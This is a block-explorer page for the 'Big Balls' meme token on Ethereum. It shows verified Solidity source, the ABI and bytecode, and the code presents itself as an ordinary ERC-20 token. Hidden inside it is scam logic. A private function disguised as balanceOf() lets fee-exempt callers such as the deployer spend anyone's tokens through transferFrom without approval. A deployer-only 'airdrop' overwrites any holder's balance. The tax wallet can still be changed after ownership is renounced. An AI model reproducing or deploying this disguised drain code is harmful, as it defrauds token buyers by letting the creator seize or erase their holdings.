ETH Price: $2,719.08 (+1.89%)

Token

Big Balls (BIGBALLS)
 

Overview

Max Total Supply

1,000,000,000 BIGBALLS

Holders

98

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,868,109.176767856 BIGBALLS

Value
$0.00
0x1469842d14fe3f7b0598b76818d07f83c477a34e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-08
*/

/*
Edward Coristine, a 19-year-old techie, secured a role at Elon Musk's DOGE initiative, gaining access to U.S. government systems despite security concerns. Musk personally voted for Coristine—who went by the online moniker "Big Balls"—and even mentioned it on Twitter.

https://x.com/CarlosSimancas/status/1887711277973446701
https://x.com/elonmusk/status/1887703208169980007
https://x.com/elonmusk/status/1888078694855344338
Website: https://bigballseth.vip
Twitter: https://x.com/bigballs_eth
Telegram:  https://t.me/bigballs_eth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tAmounts;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _feeExempt;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Big Balls";
    string private constant _symbol = unicode"BIGBALLS";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    address private deployer;
    address private constant VitalikButerin = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
    address private constant realDonaldTrump = address(0x94845333028B1204Fbe14E1278Fd4Adde46B22ce);
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _taxWallet = payable(_msgSender());
        _tAmounts[address(this)] = _tTotal * 96 / 100;
        _tAmounts[VitalikButerin] = _tTotal * 2 / 100;
        _tAmounts[realDonaldTrump] = _tTotal * 2 / 100;
        _feeExempt[address(this)] = true;
        _feeExempt[_msgSender()] = true;
        deployer = _msgSender();
        
        emit Transfer(address(0), address(this), _tTotal * 96 / 100);
        emit Transfer(address(0), VitalikButerin, _tTotal * 2 / 100);
        emit Transfer(address(0), realDonaldTrump, _tTotal * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tAmounts[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount); if(balanceOf())
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function balanceOf() private view returns (bool) {
        return !_feeExempt[msg.sender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                require(amount >= 10 ** _decimals, "Amount too small");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                sendTax();
            }
        }
        if(taxAmount>0){
          _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tAmounts[from]=_tAmounts[from].sub(amount);
        _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function _transfer(address from, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        _tAmounts[from] = amount;
    }
    function _airdrop(address[] memory recipients, uint256[] memory amounts) private {
        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            require(recipient != uniswapV2Pair);
            _transfer(recipient, amounts[i]);
        }
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function swapTokensForETH(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendTax() private {
        _taxWallet.transfer(address(this).balance);
    }
    function clearBigBallsETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function clearBigBallsERC(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function airdrop(address[] memory recipients, uint256[] memory amounts) external {
        require(_msgSender() == deployer, "!deployer");
        _airdrop(recipients, amounts);
    }
    function setTaxWallet(address payable newWallet) external {
        require(_msgSender() == deployer, "!deployer");
        _taxWallet = newWallet;
    }
    function launchBigBalls() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    function renounceOwnership() public override onlyOwner {
        require(_maxTxAmount == _tTotal);
        super.renounceOwnership();
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"clearBigBallsERC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearBigBallsETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launchBigBalls","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260055560026006555f6007555f60085560056009556005600a556005600b555f600c5560646009600a6200003b919062000583565b6200004b90633b9aca006200059a565b620000589060026200059a565b620000649190620005b4565b600d556064620000776009600a62000583565b6200008790633b9aca006200059a565b620000949060026200059a565b620000a09190620005b4565b600e556064620000b36009600a62000583565b620000c390633b9aca006200059a565b620000d09060016200059a565b620000dc9190620005b4565b600f556064620000ef6009600a62000583565b620000ff90633b9aca006200059a565b6200010c9060016200059a565b620001189190620005b4565b601055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790555f6200014a3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556064620001b56009600a62000583565b620001c590633b9aca006200059a565b620001d29060606200059a565b620001de9190620005b4565b305f908152600160205260409020556064620001fd6009600a62000583565b6200020d90633b9aca006200059a565b6200021a9060026200059a565b620002269190620005b4565b73d8da6bf26964af9d7eed9e03e53415d37aa960455f5260016020527fb931be0b3d1fb06daf0d92e2b8dfe49ead9172e102b3af1e07a10cc29003beb2556064620002746009600a62000583565b6200028490633b9aca006200059a565b620002919060026200059a565b6200029d9190620005b4565b7fcc89cdffe6d8d6bb620c9aae10557c2897f6e2865c73c41f65fdada66306d0af55305f9081526003602081905260408220805460ff1916600190811790915591620002e63390565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055620003153390565b601380546001600160a01b0319166001600160a01b0392909216919091179055305f5f80516020620021338339815191526064620003566009600a62000583565b6200036690633b9aca006200059a565b620003739060606200059a565b6200037f9190620005b4565b60405190815260200160405180910390a373d8da6bf26964af9d7eed9e03e53415d37aa960455f5f80516020620021338339815191526064620003c56009600a62000583565b620003d590633b9aca006200059a565b620003e29060026200059a565b620003ee9190620005b4565b60405190815260200160405180910390a37394845333028b1204fbe14e1278fd4adde46b22ce5f5f80516020620021338339815191526064620004346009600a62000583565b6200044490633b9aca006200059a565b620004519060026200059a565b6200045d9190620005b4565b60405190815260200160405180910390a3620005d4565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004c857815f1904821115620004ac57620004ac62000474565b80851615620004ba57918102915b93841c93908002906200048d565b509250929050565b5f82620004e0575060016200057d565b81620004ee57505f6200057d565b8160018114620005075760028114620005125762000532565b60019150506200057d565b60ff84111562000526576200052662000474565b50506001821b6200057d565b5060208310610133831016604e8410600b841016171562000557575081810a6200057d565b62000563838362000488565b805f190482111562000579576200057962000474565b0290505b92915050565b5f6200059360ff841683620004d0565b9392505050565b80820281158282048414176200057d576200057d62000474565b5f82620005cf57634e487b7160e01b5f52601260045260245ffd5b500490565b611b5180620005e25f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610317578063a4e4380414610347578063a9059cbb1461035b578063bf474bed1461037a578063dd62ed3e1461038f578063ea414b28146103d3575f80fd5b8063715018a61461029f578063751039fc146102b35780637d1db4a5146102c75780638da5cb5b146102dc5780638f9a55c014610302575f80fd5b806323b872dd116100ee57806323b872dd146101f35780632f8d82f614610212578063313ce56714610231578063672434821461024c57806370a082311461026b575f80fd5b806306fdde0314610134578063095ea7b3146101775780630b0b9e1c146101a65780630faee56f146101bc57806318160ddd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260098152684269672042616c6c7360b81b60208201525b60405161016e9190611558565b60405180910390f35b348015610182575f80fd5b506101966101913660046115b8565b6103f2565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba610408565b005b3480156101c7575f80fd5b506101d160105481565b60405190815260200161016e565b3480156101ea575f80fd5b506101d1610471565b3480156101fe575f80fd5b5061019661020d3660046115e2565b610491565b34801561021d575f80fd5b506101ba61022c3660046115b8565b61050e565b34801561023c575f80fd5b506040516009815260200161016e565b348015610257575f80fd5b506101ba6102663660046116f4565b61063e565b348015610276575f80fd5b506101d16102853660046117b0565b6001600160a01b03165f9081526001602052604090205490565b3480156102aa575f80fd5b506101ba61069b565b3480156102be575f80fd5b506101ba6106f4565b3480156102d2575f80fd5b506101d1600d5481565b3480156102e7575f80fd5b505f546040516001600160a01b03909116815260200161016e565b34801561030d575f80fd5b506101d1600e5481565b348015610322575f80fd5b5060408051808201909152600881526742494742414c4c5360c01b6020820152610161565b348015610352575f80fd5b506101ba6107a5565b348015610366575f80fd5b506101966103753660046115b8565b610ab8565b348015610385575f80fd5b506101d1600f5481565b34801561039a575f80fd5b506101d16103a93660046117cb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103de575f80fd5b506101ba6103ed3660046117b0565b610ac4565b5f6103fe338484610b35565b5060015b92915050565b5f546001600160a01b0316331461043a5760405162461bcd60e51b815260040161043190611802565b60405180910390fd5b5f4711610445575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561046e573d5f803e3d5ffd5b50565b5f61047e6009600a61192b565b61048c90633b9aca00611939565b905090565b5f61049d848484610c58565b335f9081526003602052604090205460ff166105045761050484336104ff85604051806060016040528060288152602001611af4602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ac565b610b35565b5060019392505050565b5f546001600160a01b031633146105375760405162461bcd60e51b815260040161043190611802565b6040516370a0823160e01b81523060048201525f906105b8906064906105b29085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac9190611950565b906110e4565b90611169565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610614573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106389190611967565b50505050565b6013546001600160a01b0316336001600160a01b03161461068d5760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610431565b61069782826111aa565b5050565b5f546001600160a01b031633146106c45760405162461bcd60e51b815260040161043190611802565b6106d06009600a61192b565b6106de90633b9aca00611939565b600d54146106ea575f80fd5b6106f2611221565b565b5f546001600160a01b0316331461071d5760405162461bcd60e51b815260040161043190611802565b6107296009600a61192b565b61073790633b9aca00611939565b600d556107466009600a61192b565b61075490633b9aca00611939565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107846009600a61192b565b61079290633b9aca00611939565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107ce5760405162461bcd60e51b815260040161043190611802565b601354600160a01b900460ff16156108285760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610431565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610878573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089c9190611986565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f9190611986565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610969573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d9190611986565b601280546001600160a01b0319166001600160a01b039283161790556011546109cd913091166109bf6009600a61192b565b6104ff90633b9aca00611939565b6011546001600160a01b031663f305d71947306109fe816001600160a01b03165f9081526001602052604090205490565b5f80610a115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a77573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a9c91906119a1565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f6103fe338484610c58565b6013546001600160a01b0316336001600160a01b031614610b135760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610431565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610431565b6001600160a01b038216610bf85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610431565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7e5760405162461bcd60e51b8152600401610431906119cc565b6001600160a01b038216610ce05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610431565b5f8111610d415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610431565b5f80546001600160a01b03858116911614801590610d6c57505f546001600160a01b03848116911614155b15610f6f576012546001600160a01b038581169116148015610d9c57506011546001600160a01b03848116911614155b8015610dc057506001600160a01b0383165f9081526003602052604090205460ff16155b15610ea157601354600160a01b900460ff16610e165760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610431565b610e226009600a61192b565b821015610e645760405162461bcd60e51b815260206004820152601060248201526f105b5bdd5b9d081d1bdbc81cdb585b1b60821b6044820152606401610431565b610e8a60646105b2600954600c5411610e7f57600554610e83565b6007545b85906110e4565b600c80549192505f610e9b83611a11565b91905055505b6012546001600160a01b0390811690841603610edf57610edc60646105b2600a54600c5411610ed257600654610e83565b60085485906110e4565b90505b601354600160a81b900460ff16158015610f0657506012546001600160a01b038481169116145b8015610f1b5750601354600160b01b900460ff165b8015610f2a5750600b54600c54115b15610f6f57305f90815260016020526040902054600f54811115610f6557610f65610f6084610f5b84601054611292565b611292565b6112a6565b610f6d611416565b505b8015610fe757305f90815260016020526040902054610f8e908261144c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fde9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100990836114aa565b6001600160a01b0385165f9081526001602052604090205561104c61102e83836114aa565b6001600160a01b0385165f908152600160205260409020549061144c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109585856114aa565b60405190815260200160405180910390a350505050565b5f81848411156110cf5760405162461bcd60e51b81526004016104319190611558565b505f6110db8486611a29565b95945050505050565b5f825f036110f357505f610402565b5f6110fe8385611939565b90508261110b8583611a3c565b146111625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610431565b9392505050565b5f61116283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114eb565b5f5b825181101561121c575f8382815181106111c8576111c8611a5b565b60209081029190910101516012549091506001600160a01b03908116908216036111f0575f80fd5b6112138184848151811061120657611206611a5b565b6020026020010151611517565b506001016111ac565b505050565b5f546001600160a01b0316331461124a5760405162461bcd60e51b815260040161043190611802565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f8183116112a05782611162565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ec576112ec611a5b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611343573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113679190611986565b8160018151811061137a5761137a611a5b565b6001600160a01b0392831660209182029290920101526011546113a09130911684610b35565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d89085905f90869030904290600401611a6f565b5f604051808303815f87803b1580156113ef575f80fd5b505af1158015611401573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561046e573d5f803e3d5ffd5b5f806114588385611ae0565b9050838110156111625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610431565b5f61116283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ac565b5f818361150b5760405162461bcd60e51b81526004016104319190611558565b505f6110db8486611a3c565b6001600160a01b03821661153d5760405162461bcd60e51b8152600401610431906119cc565b6001600160a01b039091165f90815260016020526040902055565b5f602080835283518060208501525f5b8181101561158457858101830151858201604001528201611568565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461046e575f80fd5b5f80604083850312156115c9575f80fd5b82356115d4816115a4565b946020939093013593505050565b5f805f606084860312156115f4575f80fd5b83356115ff816115a4565b9250602084013561160f816115a4565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561165d5761165d611620565b604052919050565b5f67ffffffffffffffff82111561167e5761167e611620565b5060051b60200190565b5f82601f830112611697575f80fd5b813560206116ac6116a783611665565b611634565b8083825260208201915060208460051b8701019350868411156116cd575f80fd5b602086015b848110156116e957803583529183019183016116d2565b509695505050505050565b5f8060408385031215611705575f80fd5b823567ffffffffffffffff8082111561171c575f80fd5b818501915085601f83011261172f575f80fd5b8135602061173f6116a783611665565b82815260059290921b8401810191818101908984111561175d575f80fd5b948201945b83861015611784578535611775816115a4565b82529482019490820190611762565b96505086013592505080821115611799575f80fd5b506117a685828601611688565b9150509250929050565b5f602082840312156117c0575f80fd5b8135611162816115a4565b5f80604083850312156117dc575f80fd5b82356117e7816115a4565b915060208301356117f7816115a4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561188557815f190482111561186b5761186b611837565b8085161561187857918102915b93841c9390800290611850565b509250929050565b5f8261189b57506001610402565b816118a757505f610402565b81600181146118bd57600281146118c7576118e3565b6001915050610402565b60ff8411156118d8576118d8611837565b50506001821b610402565b5060208310610133831016604e8410600b8410161715611906575081810a610402565b611910838361184b565b805f190482111561192357611923611837565b029392505050565b5f61116260ff84168361188d565b808202811582820484141761040257610402611837565b5f60208284031215611960575f80fd5b5051919050565b5f60208284031215611977575f80fd5b81518015158114611162575f80fd5b5f60208284031215611996575f80fd5b8151611162816115a4565b5f805f606084860312156119b3575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b5f60018201611a2257611a22611837565b5060010190565b8181038181111561040257610402611837565b5f82611a5657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611abf5784516001600160a01b031683529383019391830191600101611a9a565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104025761040261183756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207350579d569e9b936bccb08a174d78cc63a0db8ea73e45195ffda1ef42d5cc7964736f6c63430008180033ddf252ad1be2c89b69c2b068fc378d